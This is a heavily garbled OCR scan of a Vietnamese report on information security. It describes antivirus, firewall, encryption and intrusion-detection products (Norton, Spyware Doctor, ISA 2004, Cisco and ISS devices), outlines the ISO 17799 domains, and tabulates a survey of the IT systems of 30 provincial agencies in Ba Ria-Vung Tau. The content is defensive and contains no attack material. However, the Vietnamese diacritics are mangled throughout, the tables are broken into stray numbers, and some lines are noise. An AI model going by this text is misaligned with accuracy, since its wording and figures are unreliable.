sau: bao vé hé théng khoi gidn diép mdy tinh theo thoi gian thuc, nghia 1a ngﬁn
chin viéc cai dat cac gian diép may tinh vao hé théng; va phat hién va diét gidn
diép may tinh da lay nhi®m véo hé théng.

K¥ thudt phat hlen va diét cac gian diép may tinh da lay vao hé thong thi don
gian hon: chirong trinh sé kiém tra Windows registry, cac tép tin heé thdng, cac
chuong trinh da cai d3t d& phat hién va loai bo c4c thanh phin c6 déu hiéu phu
hop véi danh sach cac gian diép may tinh da biét.

K¥ thudt bao vé hé thong khoi gidn diép mdy tinh theo thoi gian thue s€ gidm
sat cic chuong trinh tai vé tir mang va kiém tra xem c6 dAu hiéu cia gian diép
mdy tinh trong céc chuwong trinh nay hay khong. Chuong trinh cling ¢6 thé
ngin chan viéc cai dit cdc chuong trinh c6 du hiéu cia gian diép may tinh,
hodc ciing c6 thé ngan chin viéc thay ddi cdu hinh trinh duyét tir cic chuong
trinh khac.

3./ Cac birc trong lira

Tuong lta 1a mot san pham phin cimg hodc phin mém hoat ddng nhu mét méi
truong mang dé ngan cim nhimg giao tiép mang khéng duoc cho phép bai
chinh sich bao mét cia mét tO chirc. Viéc ngin cdm nay thuong dua trén viéc
phén tich néi dung cuia cic gdi tin giri trén mang, do vy tudmg lira cé khi con
dugc goi la bo loc cac gdi tin (packet filter).

Tudng lira c6 thé hoat dong tai hai cdp cua kién tric TCP/IP: cip mang
(network layer) va cép (g dung (application layer).

0] cap mang, tuomg lira s& loc cac géi IP, néu géi ndo chira dir lidu vi pham cac
quy tic cho phép luu théng cia chinh séch bio mat thi s€ bi ngdn cam khéng
cho di t6i dich dén.

O c4p ting dung, trdng lira ¢ thé ngan chan tit ca cdc goi tin guri/nhan cia mét
ing dung nao d6 (vi du telnet, ftp...).

Ngoai ra, tuong lira ciling c6 thé hd trg chirc ning 4nh xa dia chi mang (NAT -

Network Address Translation) dé cho phép cic may tinh phia trong tudng lia
¢6 thé c6 mot khdng gian dia chi riéng biét.

4./ Cac chuong trinh ma héa

bay la cac chuong trinh khéng thé thiéu néu hé thong tin cta ban ¢6 nhimg dir
liéu nhay cam can duge bao mét cao. Céc chuong trinh nay s& giup ban ma hoa

27



cac thong tin d6 dé ngudi khac khéng the hiéu dwgc va ching ciing gilip ban
giai mi lai cac thong tin d& ma hoa khi can lam viéc v6i thong tin.

- Hién nay co nhiéu (mg dung ¢6 hd tro tinh ning m3 héa/giai ma di licu.

Vi du 1: khi ban dit mét khdu cho mét tip tin MS Word thi ing dung Word s&
dung mat khiu ciia ban dé ma héa cho tip tin twong ung. Ngudi md lai tap tin
niy cin phai nhap ding mit khéu thi tng dung Word mdi c6 thé gidi ma vin
ban ra ding dang goc cua nod.

Vi du 2: khi ban dung SSL trong 14p trinh web (https), ndi dung cia trang web
s& dugc ma hoa theo cac thong tin trong certificate twong Umg trude khi dua ra
dudng truyen cdng cdng, do viy dam bao céac dit liéu nhay cam nhu s6 credit
card, mét khiu... khong bj xem lén.

5./ Cac chirong trinh hd tre quan tri mang

Cac chuong trinh h3 tro quan trj mang 1a nhimg cong cu khong thé thidu déi
véi nhitng ngudi lam cdng viéc quéan tri hé théng tin. Vi nhiéu tinh nang cho
phép thuc hién cac cong viéc nhu gidm sat tinh hinh mang, phén tich bing
théng, tham do cac dich vy va may tinh trong mang... ching giip cho ngudi
quén tri ¢6 thé dé ding nim bit tinh hinh hién thoi cia hé thong thong tin dé c6
bién phap d6i kip thoi v6i nhimg nguy co giy anh hrrdng x4u dén hé théng.

11/ MOT SO CONG CU BAO MAT SU DUNG PHO BIEN HIEN NAY TAI
VIET NAM

1./ Norton AntiVirus 2006
1.1./ Giéi thiéu

Py 1a phin mém chdng virus kha ndi tiéng va duoc ding kha phd bién hién
nay. C6 kha nidng tur ddng bao vé hé théng trong khi ban ludt web, chat,
glri/nhdn mail, trao déi tip tin qua mang. C6 kha ning quét va diét rit nhiéu
loai virus, chuong trinh gian diép va dugc cdp nhét lién tuc.

1.2./Tinh ning
e Tu ddng phat hién va diét virus.

e Tu dong phat hién va diét virus trong cac file dinh kém cia cic email
gui/nhan.

e Tu dong phat hién va diét virus trong cac file gui bffmg céc chuong trinh
chat.

Ty déng phat hién va cdm khéng cho bo Internet tham nhép hé théng.

e Tu ddng tai cic ban ning cdp cia chinh minh d c6 kha ning chdng cac
virus méi. Trong qué trinh tai ban ning cap van duy tri ché do twr dong phat
hién virus.

o C6 co ché phat hién thong minh dé c6 thé phat hién mot sb virus méi dt
chuong trinh chura duoc ndng cap kha nang dé€ phat hién céc loai virus nay.
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o Tur dong phat hién va cdm c4c chuong trinh gidn diép.

e Quét va diét cac chuong trinh gian di¢p da lay nhiém trong hé thdng, cic
chuong trinh theo ddi ban phim dé n cip mat khau...

e Ngin chin cic chuong trinh gian diép cudp homepage hodc o tinh dua
ngudi ding dén site ciia chiing.

1.3./ Cac thong tin khac
 Cac hé théng dugc hd trg: Windows XP, 2000 Professional.

e Ban quyén: phai mua ban quyén.

e Nha cung cip: http://www.symantec.com.
2./ Spyware Doctor 3.5 for Windows
2.1/ Giéi thi¢u

Spyware Doctor 12 phan mém chdng gian diép mdy tinh. Spyware Doctor cung
cap 3 co ché dé bao vé hé thdng: ngin chin cic tién trinh gian diép theo thon
gian thuce, quét va di€t cac chuong trinh gian di¢p da lay nhlem vao hé thong va
tao ra kha ning mién nhiém déi véi cac website ¢6 dung y xdu da blet Nhimng
tinh ning nay thiong khéng duge hé trg diy du trong cic phin mém chong
virus.

2.2/ Tinh nang

e Phat hién va diét cac chuong trinh gidn diép, gidm st ban phim d& an cdp
mit khau. .

o Chéng giam sat cookies trong browser.

e Mién nhim hé théng dbi véi hang ngan web site va ActiveX c¢é dung ¥ x4u

d3 biét.
o C6 cho ché quét thong minh dé tim mét sé chuong trinh gién diép moi xuit
hién.

2.3./ Cac thong tin khac
e Cic hé théng duge hd tro: Windows XP, Me, 98, 2000.
 Ban quyén: phai mua ban quyén.
e Nha cung cip: http//www pctools.com. -
3./ Microsoft ISA (Internet Security and Acceleration) 2004
3.1./ Gidi thiéu

ISA 2004 la mdt phin mém ctia Microsoft cho phép thiét 1ap c4c co ché trong
lira, mang ndi bd ao (VPN), cache ndi dung web, router.... Sir dung hiéu qua
phin mém nay s& gitp cho hé théng tin hoat déng hidu qua va an toan hon.

3.2./ Tinh nidng

e HJ tro lam router giira nhidu mang.
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H3 tro sao hru va hdi phuc ciu hinh qua dinh dang xml.
H3 trg VPN.
H& tro thiét lap firewall.

e HJ tro nhiéu giao thirc mang.

Cho phép dinh nghia giao thitc mang moi.

Giao dién don gian.

H3 tro cache dir liéu.
.
3.3./ Cac thong tin khac
e Cac hé théng duoc hd tro: Windows nén NT.
¢ Ban quyén: phai mua ban quyén.
e Nha cung cép: http://www.microsoft.com.
4./ Net Tools 4
4.1./ Gidi thiéu

Net Tools 4 1a mdt chwong trinh hé trg cho nhimg ngudi quan tri mang. Net
Tools cung cép rat nhiéu chitc ning hiru ich gidp nguol quan tri c6 the dé dang
thue hién cac c¢ong viéc giam sat, quan ly mang tir don gian dén phuc tap.

4.2./ Tinh ning
e Quét dia chi IP, tinh to4n, chuyén dbi dia chi IP.

¢ Do port, quét port.

Truy vét cac route.
Céu hinh TCP/IP.

Déng bd thai gian mang.

Theo doi biang thong.

Tinh céc dia chi mang con.
. ...

4.3./ Cac thong tin khac
e Cic hé théng duoc hé trg: Windows.
e Ban quyén: mién phi.

o Nha cung cép:
http://files.filefront.com/NetTools 4017 zip/:4491206::/fileinfo.htm!
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5./ Gidi phap phat hién va phong chéng xim nhip ciia Cisco

Hg thong phat hién chong x4m nhdp 1a mét trong nhitng phidn mém va phén
cimg trong diém khong thé thiéu ciia mot hé thong mang tich hgp. Dé ting cudng
thém tinh vitng chic va nhan dién dugc cdc cude tén cOng vao hé théng may trung
tdm, chung t61 xin dugc gidi thi¢u cong nghé nhin dang tdn cong chuyén dung cta
Cisco System va [SS.

Néu coi Firewall 13 13 nhimg nhdn vién gdc céng ra vao loc va loai bo truc
tiép cac dau hiéu va hanh dong xam nhép thi IDS’ (Intruder Detection System) la cic
camera giam st, theo ddi va phat hién cac hinh ddng tin cdng x4m nhap. D& dam
bao an toan cho hé théng va nhan dién médt cich chinh x4c céc diu hiéu xAm pham
mang chung ta cin tham khao giai phap nhan dién xdm nhép cua 2 cong ty hang
diu vé bao mat network: ISS va Cisco System. Dya trén k¥ thuit nhu phan tich
protocol, danh diu miu (signature), k¥ thuat phét hién théng minh dé danh gia va
kiém soat cac géi dir lidu hru thong qua mang clia nhim phat hién, phong chong va
dua ra nhimng canh bao ddi ngudi quan tri hé thong thong qua phin mém tryc quan.

5.1/ Gigi thiéu cong nghé phat hién xa2m nhap ciia Cisco

Cisco IDS Qverview

T ' Tas com

cong nghé phat hién xdm nhip — Intrusion Detection System

Cisco System, mdt cbng ty hang diu thé gidi vé cong ngh¢ mang, di dua ra
nhidu dong san pham phat hién x4m nhap dap tmg diy da nhu ciu cia doanh nghiép

tir qui md nhé dén rat 16n. Cac cong nghé phat hién xadm nhédp dugce Cisco sir dung
bao gém:

o Network Intrusion Detection System (NIDS): phat hién xgm nhép tir ting
mang, hoat dong nhu mét server doc lap, khéng phu thudc hé diéu hanh cia
may tram. Chiing t6i d& xuét sir dung san phdm IDS 4235
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e Cisco Security Agent (CSA): phat hién xam nhap cho server, 12 mdt phin
mém cai dit trc tiép vao hé diéu hanh server, cé nhiéu phién ban twong thich
Windows, Sun Solaris, Linux.

5.2./ Céc thong sé ky thuit ciia Cisco IDS 4235
- Performance: 200 Mbps
- Standard monitoring interface: 10/100/1000Base-TX
- Standard command and control interface: 10/100/1000Base-TX
Céc phuong thirc cu hinh IDS 4235
- Keyboard / Video Monitor: gin truc tiép vao thiét bi
- Console Port
- Telnet
- SSH
- HTTPS
Tinh ndng co ban ctia thiét bj

Phan img linh dong (Active Response)
o TCP resets : g tin hiéu reset bé gay két ndi
o IP logging : ghi nhéan lai IP packet phuc vu muc dich phén tich.
o Blocking : cm truy cap.

- Cap nhit dong (Active Updates): Cap nhat hé diéu hanh, tip diu 4n tir dong
thong qua Cisco Countermeasure’s Research Team (C-CRT)

- Déu 4n tin cong (Signature Language)
o Tap déu 4n duge xay dung sin.
o Cho phép quan tri mang tu tao ra d4u 4n.

- HS trg phan tich (Analysis Support): Co s& dir liéu bao mét mang duge tich
hop (Integrated Network Security Database) phuc vu viéc phén tich. -

- Kha ning ty dong giri canh bao (alarm) dén hé théng quan li tdp trung
CiscoWork VMS khi phat hién xdm nhép. Cé thé dugc ciu hinh thong qua
phin mém tryc quan CiscoWork VMS

Gidi thiéu vé san phim Cisco Security Agent
5.3./ Tinh niing
- Bao vé img dung va h¢ diéu hanh chéng lal céc tn cong da biét hoic chua
biét
- Ngin cac truy cdp bt hgp phap vao tai nguyén server.
- K¥ thuit dua trén hanh vi
- Ngan cic tin cong: SYN Floods, Ports scans, Buffer Overflow, Trojan horses
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5.4./ Kién tric ciia Cisco Security Agent

Security Agent Architecture
R T A T TR I T tars
Retwrence Oeskiopisaner
ol Sults - Windows and Solaris platforms
- Sarver and deshiop agenty
aliid - Malicious mobile code
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- Comprehensive kemsl
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Kién tric ctia Security Agent
Gidi thiéu cong nghé chbng xam nhdp ctia ISS
Intemet Security Systems (ISS) 1a mét cong ty hang dAu thé gi&i trong linh vuc phat

hién va chéng xam nhip. ISS cung cép nhiéu giai phap cling nhu nhiéu dong san
pham da dang, d4p \ng nhu ciu ciia doanh nghiép tir nho dén rat 1én.

6./ Giai phap phong chéng xim nhip ciia ISS
6.1./ Giéi thiéu
ISS cung cép 2 gidi phap phong chéng x4m nhap

- Network Intrusion Detection System (NIDS): phat hién xdm nhép tir thng
mang, hoat dong nhu mdt server doc lap, khong phu thude hé dieu hanh cia
mdy tram. Tiéu bi€u [a san pham Provia A604

- Server Sensor: phat hién xdm nhap cho server, 14 mdt phin mém cai dit tryc
tiep vao hé dieu hanh server, c6 nhiéu phién ban twong thich Windows, Sun
Solaris, Linux. Tiéu biu 13 san pham RealSecure Network Sensor 7.0

Thiét bi Network intrusion Detection System (NIDS)
NSS
APRroved.

- f}ibi'éﬁf:a

Proventia A604
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6.2/ Thong s6 ky thuit ciia Proventia A604:

Performance: 600 Mbps

1U rack-mount server chassis

Dimensions: 1.7" (height) x 16.9" (width) x 23.9" (depth)
Shipping weight: 40 lbs

CD-ROM Drive and Floppy .

Management interface: 1x 10/100/1000Mbps Copper
Monitoring interfaces: 4x 10/100/1000Mbps Copper
Lockable front bezel

Redundant cooling

1 x 350 watt power supply operating at the following voltages:

o 100-127 volts (V) at 50/60 Hertz (Hz); 4.96 amperes (A) maximum
o 200-240 volts (V) at 50/60 Hertz (Hz); 2.48 amperes (A) maximum

Céc phuong thirc cdu hinh

Keyboard / Monitor
Console Port
Telnet

Phin mém quén li tip trung SiteProtector

6.3./ Tinh niing thiét bi

Kha nang phan tich protocol, pattern tdc d cao.

Phén tich 100 giao thirc khac nhau, bao gdm ca nhitng tin céng chua duge
biét. _

Ngin chin nhirng ludng dir lidu c6 hai.

Cung cép thém nhiéu 16p béo vé.

Kha ning quan li tdp trung thong qua’phz‘in mérp SiteProtector, don gian héa
viéc quan tri va theo doi, gidp nhin bi€t nhanh tan cong.

Tich hop kién thirc bac mat ciia X-Force.

Kha nang loai trir cac k¥ thuat 1in tranh phat hién xam nhip (evasion
techniques).

Phén tich va gidi mi giao thirc ddy di trang thai, da 7 16p.

Phin tich ddy du it nhdt 100 network va nhimg giao thirc 16p tmg dung.
Phat hién dugc 1700 mdi de doa d3 duoc biét.

Phat hién nhimg méi de doa chua dugc biét,

DPugc tich hgp vdi bao vé network, server, desktop.
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» Phén img va ngin chin tin cdng véi tinh ning RSKILL.
» Ghi nhén lai packet phuc vu viéc phan tich (Packet Capturing)
" Giri canh bao dén SiteProtector (no packet alert).
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CHUONG II

KHAO SAT VE TINH AN TOAN VA CAC GIAI PHAP BAO
MAT DANG DUQC AP DUNG CHO CAC HTTT THUQC QUAN
LY NHA NUGC TINH BR-VT.

Trong ndi dung nay, chiing tdi trinh bay so lrgc vé ISO 17799, sau d6 théng
ké cac bién phap k¥ thuit vé& bao mét an ninh mang hién nay ciia 30 don vj khdo sat
vi 50 sanh v&i 6 gidi phap k¥ thuat thong dung theo ISO 17799 dé danh gia tinh an
toan va bao mt clia cic hé théng thdng tin trén mang.

1./ TONG QUAN VE ISO 17799
1./ Khdi niém vé An ninh théng tin (ANTT)

La mot hé théng céc giai phap vé chinh sach, trinh tir thit tuc, k¥ thuit va con
nguoi dua trén mét nén tang phap ly thong nhat d¢ dam bao tinh bi mét, toan ven va
san sang cho cac hé thong thong tin.

Confidentialiny Integrity Availability
(Bi man {Toan ven) (Sdn sang)

information Security

People Policy Procedures Technology
(Con ngudi) (Chinh sach)y {Thu we) (K3 thudt)

Legal Framework
(Nentang phap V)

2./ 10 Iinh virc an ninh mang theo ISO 17799

1. Hé théng quéan ly An ninh théng tin - ANTT (Information Security
Management Systems - ISMS)

Kiém soat truy cp (Access Control)

An ninh mang va truyén thong (Telecommunications and Network Security)
M3 hoa (Cryptography)

Kién tric va cic md hinh ANTT (Security Architecture and Models)

Céc hoat dong ANTT (Operations Security)

AN
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9.

Phét trién cAc img dung va cac hé théng (Applications and Systems
Development)

Hoach dinh hoat ddng lién tuc va hoach dinh khoi phuc sau tham hoa
(Business Continuity Planning and Disaster Recovery Planning)

Luat, diéu tra nghién ciru va dao dirc (Law, Investigation, and Ethics)

10. An toan vat ly (Physical Security)

2.1/ Hé théng quin Iy An ninh théng tin - ANFT (Information Security
Management Systems - ISMS)

Hé théng quan ly an ninh thong tin bao gdm cac ndi dung:

Kién thirc vé quan Iy ANTT (Concepts of Information Security
Management).

‘Qua trinh phan loai thong tin (The Information Classification Process).

Hién thuc chinh sach ANTT (Security Policy Implementation).

Vai tro va trich nhiém ciaa quan tri ANTT (The roles and responsibilities of
Security Administration).

Cac cong cu dénh gia va quan ly rii ro (Risk Management Assessment
Tools).

Pao tao nhan thirc vé ANTT (Security Awareness Training).

2.2./ Kiém soit truy cap (Access Control)

C6 3 ndi dung vé kiém soat truy cdp

Kiém soat mang tinh chit quan trj (Administrative controls): bao gdm cac
chinh sach, thu tuc, dao tao nhén thirc va kiém tra kién thic vé ANTT.
Kiém soat bing giai phap k¥ thudt (Logical or technical controls):
encryption, smart cards, access control lists, and transmission protocols.

Kiém soat vét Iy (Physical controls): lyc lugng bao vé, khda, bao vé phong
may, hé thong cép, sao luu dit liéu, file...

2.3/ An ninh mang va truyén théng (Telecommunications and Network
Security)

Cac kién thirc vé quan ly (Management Concepts):

Bo ba C.ILA (The C.I.A. Triad)

Quan ly truy cép tir xa (Remote Access Management)

Phat hién va dap tra xAm nhdp (Intrusion Detection and Respbnse)
+ Intrusion Detection Systems, Intrusion Prevention Systems

+ (IDS,IPS).

+ Computer Incident Response Teams

Network Availability
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+ RAID
+ Backup Concepts
+ Managing Single Points of Failure
- Network Attacks
Cic kién thirc vé ky thuit (Technology Concepts):
- Protocols
+ The Layered Architecture Concept
+ Open Systems Interconnect (OSI) Model
+ Transmission Control Protocol/Internet Protocol (TCP/IP)

+ Security-Enhanced and Security-Focused Protocols
- Firewall Types and Architectures
- Virtual Private Networks (VPN)
+ VPN Protocol Standards
+ VPN Devicés
- Networking Basics
2.4./ Ma héa (Cryptography)
- Céc Iy thuyét v& ma héa: DES, 3DES, AES, RSA,...
- Khoéa dbi xtng (Symmetric Key). |
- Khéa bét dbi ximg (Asymmetric Key).
- Quan ly va phan phdi khoa (Key Distribution and Management).
- Kién thire PKI (Public Key Infrastructure).
2.5./ Kién tric va cdc md hinh ANTT (Security Architecture and Models)
- Computer organization
- Hardware components
- Software/firmware components
- Open systems
- Distributed systems
- Protection mechanisms
- Evaluation standards
- Certification
- Formal security models
- Confidentiality models
- Integrity models
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- Information flow models
2.6./ Cic hoat dong ANTT (Operations Security)
- Kiém soat va bao vé (Controls and Protections)
- Theo ddi va kiém tra giam sat (Monitoring and Audit)
- Cac de doa va cac diém yéu (Threats and Vulnerabilities).

2.7./ Phat trién cic img dung vd cdc hé th.fmg (Applications and Systems
Development)

- The software life cycle development process

- Object-oriented systems

- Artificial intelligence (Al) systems

- Database systems and database security issues
- Application controls

2.8./ Hoach dinh hoat ddng lién tuc va hoach dimh khdi phuc sau sir cb
(Business Continuity Planning-BCP and Disaster Recovery Planning-DRP)

2.9./ Luit, diéu tra nghién cirn va dao dirc (Law, Investigation, and Ethics)
2.10./ An toan vit ly (Physical Security)

3./ Cac thanh phin chinh ciia hé thong bio mat (hay 6 giai phap ky thuit théng
dung theo ISO 17799)

1./ Giai phap twong lira va Giai phap phong chéng Virus
2./ Hé théng phat hién va phong chéng xam nhdp

3./ Cong cu do quét va danh giz diém yéu

4./ Quan 1y rii ro

5./ Giai phap xac thue va cac co ché mat ma héa

6./ Giai phap loc ndi dung

I1/ KHAO SAT VA PANH GIA VE TINH AN TOAN VA CAC GIAI PHAP
BAQ MAT PANG PUQC AP DUNG CHO CAC HTTT THUQC QUAN LY
NHA NUOC TAI TINH BR-VT

1./ Khio sat tinh an toan va cac giii phap bio mat dang ap dung cho cac HTTT
thudc quin ly Nha nwéc tai tinh BR-VT

C6 30 don vi duoc khao sat

Stt Tén dom vi khio sat

1| S& Cong Nghiép tinh Ba Ria - Ving Tau

2 | S& Xay Dyng tinh Ba Ria - Ving Tau

39



3 | S& Gido duc va Pao tao tinh Ba Ria - Viing Tau

4 | S& K& hoach va Pau tu tinh Ba Ria - Viing Tau

5 | S Y Tétinh Ba Ria - Viing Tau

6 | S& Khoa Hoc va Cong Nghé tinh Ba Ria - Viing Tau

7 | So Lao ddng Thuong binh va X3 hdi tinh Ba Ria - Viing Tau

8 | S& Vian hoa Thong tin tinh Ba Rja - Viing Tau

9 | S Thurong mai tinh Ba Rja - Viing Tau

10 | S& Giao théng Vén tai tinh B4 Rja - Viing-Tau

11 | S& Du lich tinh Ba Ria - Viing Tau

12 | S& Thay san tinh Ba Ria - Viing Tau .

13 | So Nong nghiép Phat trién Néng thén tinh Ba Ria - Viing Tau

14 | S& Buu chinh Vién thong tinh Ba Ria - Viing Tau

15 | S& Néi vu tinh Ba Ria - Viing Tau

16 | S& Tu phap tinh B4 Ria - Viing Tau

17 | S& Ngoai vu tinh Ba Ria - Viing Tau

18 | Ban Quan ly cac khu cong nghiép tinh Ba Ria - Viing Tau

19 { Ban Tén gido va Dan tdc tinh Ba Ria - Viing Tau

20 | Thanh Tra tinh Ba Ria - Viing Tau

21 | Lién Doan Lao ddng tinh Ba Ria - Viing Tau

22 | Van phong HDND&UBND huyén Tan Thanh tinh Ba Ria - Viing Tau
23 | Van phong HDND&UBND huyén D4t D6 tinh Ba Ria - Viing Tau
24 | Van phong HDND&UBND Thi x2 Ba Ria tinh Ba Ria - Viing Tau
25 | Uy ban Dan s6 Gia dinh & Tré em tinh Ba Ria - Viing Tau

26 | Bénh vién L& Lgi tinh Ba Ria - Viing Tau

27 | Bénh vién Da khoa Ba Rja tinh Ba Ria - Viing Tau ,

28 | Trung tdm Y té huyén Té4n Thanh tinh Ba Rja - Viing Tau

29 | Thu vién téng hop tinh Ba Ria - Viing Tau

30 | Trung tim Ung dung Tién bd KH&CN tinh Ba Ria - Viing Tau

BANG THONG KE SO LIEU: XEM PHU LUC
SO LIEU TONG HOP PIEU TRA: S6 lrgng don vi khao sat: 30 do‘n vi

1./ H¢ diéu hanh d:LgLsu dung

1T Tén hé diéu hanh S6 don vi cai Tile % Ghi cha
dat sir dung (sb don vj

st dung/30)

1 | MS Windows 2000 Server 28 93 | Bao gdm Ca

2000

Advanced

Server
2 | MS Windows 2003 Server 4 13
3 | MS Windows 2000 Professional 18 60
4 | MS Windows XP Professional 27 90
5 | MS Windows Home Edition 0 0
6 | MS Windows ME 2 7
7 | MS Windows 98 12 40
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* Service Pack

Tén hé diéu hanh - " Tilg %
MS Windows 2000  Server/ 93
Windows 2000 Advanced Server
MS Windows 2003 Server Spl 3 10
MS Windows 2000 Professional Sp4 13 43
MS Windows XP Professional Sp2 24 80 |
2./ Hé quin tri co s& dir liéu dang sir dung
1T Tén hé quan tri CSDL Sddonvicdi| Tile% Ghi chi
. ' dat st dung | (s don vi
- -.-| sir dung/30)
1 | MS SQL 2000 Server Enterprise 15 50
2 | MS SQL 2000 Server Professional 1 3
3 | MS SQL 2000 Server Personal 2 7
4| MSSQL7 0 0
5 { MSDE 0 0
6 | MS Access 2 7
7 | Fox Win 13 43
8 | Fox DOS 1 3
9 | Oracle 8 1 3
10 | Oracle 9 3 10
11| My SQL Server 5 17
3./ Cac hé théng file dang sir dung
Heé thong file
Hé thdng quén ly file | Sédonvicai]|  Tile% | Ghicha
T st dung | 6 Sdmvi |
R G da30)
NTFS 30 100
FAT32 30 100
FAT16 1 3
Ché do sir dung dia
Ché db sir dyng dia Sédonvicai| Tilé% | Ghicha
dit st dung | (sb don vi o
st dung/30)
Binh thudng 30 100
Dynamic 1 3
Mang dia 0

Ky thuit sao luu dy phong
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T K$ thuat saoluucﬁrph&ng - +4'S6 don
1 | Mirror
2! RAID |
3| RAID2
4 | RAID 3
5 RAID 4
6 { RAID 5
7 | Khéc (backup cua windows)
4./ Mang
Mang cuc bj
* Toe do
TT Téc 4o Sédonvicai | Tilé% - | Ghichi
dat str dung | (sodonvi :
¢6/30)
1| S8 mang ¢o tdc o 10M 0 0
2 | S8 mang ¢6 toc d§ 100M 30 100
* Giao thirc
TT Giao thirc Sodonvicai| Tilé% | Ghicha
: e ‘i:; dﬁt su dungfg Vil
: SR | cai dﬁt/30) e
1| TCP/IP 30 100
2 | NET BEUI1 11 37
3 | IPX/SPX 1 3
4 | Khac 0 0
* Kién tric mang
TT Kién truc it Sddonvicai| Tilé% | Ghicht
' | datsedung | (sbdomvi |
' cai dit/30)
1 | Client/Server 29 97
2 | Peer to peer 1 3
3 | Khac 0 0
Mang Internet
* Kidu két ndi _
TT Téc 4§ Sodonvist | Tilé% | Ghichd
dung | (s6 don vi
; ¢6/30)
1 | Dial up 6 20
2| ADSL 23 77
3 | Lease line 1 3
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| 4|Khic

] 0]

0]

* Tinh hinh két nbi

TT Thai gian két ndi S6demst | Tilé% | Ghichad
1]24/24 18 60
2 | Chi két ndi khi c6 nhu cdu 11 37
5./ Hé thong quan tri mang (dich vu quin tri hé théng)
TT Dich vy quan trj mién Sodonvicai| Tilg% | Ghicha
dat st dung | (s6 donvi S
- 1 | Active Directory 29 97
2 | Novell Netware 0 0
3 | NetlQ 0 0
- 4 | Mang Workgroup théng thudng 1 3
5 | Khac 0 0
Cac dich vu mang dang cai dat
TT Dich vy mang ' Sodonvicdi| Tilé% | Ghicha
- dit sa dung. | (s6 donvi
Lo el el dat/30)
1| Fip 6 20
2 | Web server 12 40
3 | Mail server 2 7
4 | Telnet server 1 3
5 | Khac 0 0
* Hinh thirc cai dit .
TT Dichvumang - l'Sédonvicai| “Tilé% | Ghichi
1 ditsirdung | (s6 don vi
cai dar/30)
1 | Dung cuc bd 10 33
2 | Pho bién ra internet 5 17
3 | Webserver co sir dung database 7 23
4 | WebServer c6 ho trg SSL 1 3
6./ Cac phan mém firewalVanti virus
* Cac firewall dang sir dung
TT Tén firewall Hédicuhanh | Sédonvicai [ Tile%
- | datskdung | (s6donvi
: s
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LT BTN
SIS SR R AR

R I NN TS

1| Firewall mém: ISA | Windows 14 47
Server 2000/2003
Server
2 | Firewall ciing 0 0
* Cac phan mem anti virus dangLsu' dung i
TT Tén phin mém Hé diéu hanh ,| S6 don vi céi Tilg %
| détstdung (so dcm v; _
st S 1
dung/30L
! | Symantec Antivirus/ | Windows 2000/ 30 100
Norton Antivirus XP
2 | BKAV Windows 2000/ 7 23
XP
7./ Cic phin mém  phuc v cong viéc vin phbng
TT  Tén phin mém Sodonvi | Tilé% ~ Ghi cha
cai dit st (s_o don vi st
dung | dung/30)
1 | Office 97 0 0
2 | Office 2000/2003 30 100
8./ Cac phin mém khic
TT Tén phin mém .Ghichd -,
1 | Co sd dy liéu chuyén nganh 4 13
2 | Ung dung chuyén nganh 14 47
3 | Tac nghigp trén mang 16 Pa s la
phin mém
do 112 chinh
phi  chuyén
53 | giao
9./ Phin cirng
* May chi
TT Hing sin xuft Sddon | . | Tild%
visu - (sb don vi st
dung dung/30)
1 | IBM Server 23 77
2 | HP Server 3 10
3 | Server chuyén dung Viét nam 2 7
4 | PC dung lam Server 12 40
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* May tram

T Téc d6 CPU RAM
1< PIII 866/ Celeron <128
2 | > PIII 866 >=128
5| PIV RAM>=128
10./ Nhan sw i .
T Trinhdd | Sodon| Tilé% | . Ghicho
vich| (sddonvi T
1186 nguoi ¢é trinh d6 dai 8 27
hoc nganh IT
2 1S3 ngudi ¢o trink 6 cao 1 37
ding nganh IT
3| 86 ngudi ¢6 trinh d6 trung 9 30
cép nganh IT
4| S6 ngudi khéng thude céc 2 7
thanh phan trén

2./ Hi¢n trang vé tinh an toan va giai phap bao mat dang dwgc ap dung cho cic
HTTT tai tinh BR-VT

2.1./ Hé diéu hanh mang

Nhin chung cac co quan quan ly Nha nmuéc st dung hé diéu hanh ho
Windows, ké ca cho server va client.

Windows 2000 Server dugc st dung lam hé didu hanh mang nhidu nhét (c6
93% don vi). mét sé it sit dung Windows 2003 Server (¢6 13%).

Véi client da s0 cac co quan sir dung nhidu phién ban Windows, tip trung
nhit vin 1a Windows XP Professional (co 90% don vi), ké tiép 13 Windows 2000
Professional (co 60%). Ngoai ra cac version Windows Me, Windows 98, Windows
95 van con mot s6 don vi sir dung.

* Service Pack

Pa sb cac don vi da sir dung Service Pack version sau cung dé cap nhat hé
diéu hanh, nhidu nhét van 14 Service Pack 4 cho hé diéu hanh Windows 2000 Server
va Windows 2000 Professional (c6 93% don vi sir dung), ké t1ep la Service Pack 2
cho Windows XP Professional (cé 80% dom vi sir dung). Nhin chung nhén thire vé
cai dat Service Pack ctia cdc quan tri mang 1a kha tét, tuy vy van con mét sé don vi
van sir dung Service Pack c6 Version cii.

2.2./ Hé qudn tri CSDL va img dung

Theo khéo sat, hién nay cac don vi da cai dat cac phdn mém (g dung hodc
cac CSDL phyc vu chuyén nganh, da sb cac phan mém (g dung nay sir dung hé
quan tri CSDL SQL Server (c6 60%, bao gém ca Enterprise, Professional va
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Personal), tiép dén 1a hé quéan trj CSDL Fox for Windows (c6 43%), m{t s6 phan
mém st dung MS Access va Oracle.

V& ung dung, co thé chia lam 3 dang: CSDL chuyén nganh c6 13%, Ung
dung quan ly chuyén mdn nghiép vu cé 47%, cic chuong trinh tic nghiém trén
mang (da so do 112 chuyén giao) co 53%.

2.3./ Cac hé thong file

V& hé théng file: tAt ca cac don vi sit dung hé théng file NTFS cho hé théng
may chu va volume system (100%), trén volume D sit dung FAT 32 (100%).

Vé ché d sir dung dia: tit ca cac don vi déu sir dung ché d¢ binh thudng
(100%), ¢6 01 don vi sir dung ché d dia Dynamic cho Server.

V& ky thudt sao luu du phong: k§ thuat Mirror c6 7%, k¥ thuit RAID 1 ¢6
10%, RAID 3 ¢o 3%, khac (backup cia Windows) c6 17%.

Trén co s& s6 liéu tong hop khdo sét diéu tra, c6 thé thiy cac don vi chua cha
trong dén cong tac sao lwu, phuc hdi va cac co ché sin sang cho viéc chiu 18i, Iy do
1a sir dau tu cho hé thong chua c6 thiét ké ddng bd, mit khac cac don vi ciing chua
thure sur bire xtc khi hé théng bi hong héc.

2.4./ Mang
Tét ca cac don vi déu c6 hé théng mang véi tbe dd 100Mbps (100%).

Giao thire dugc sir dung 1a TCP/IP (100%), mét s6 don vi sir dung kém giao
thirc NETBEUI (37%).

Kién tric mang: sir dung kién triic client/server ¢6 97%, chi ¢6 01 don vi sir
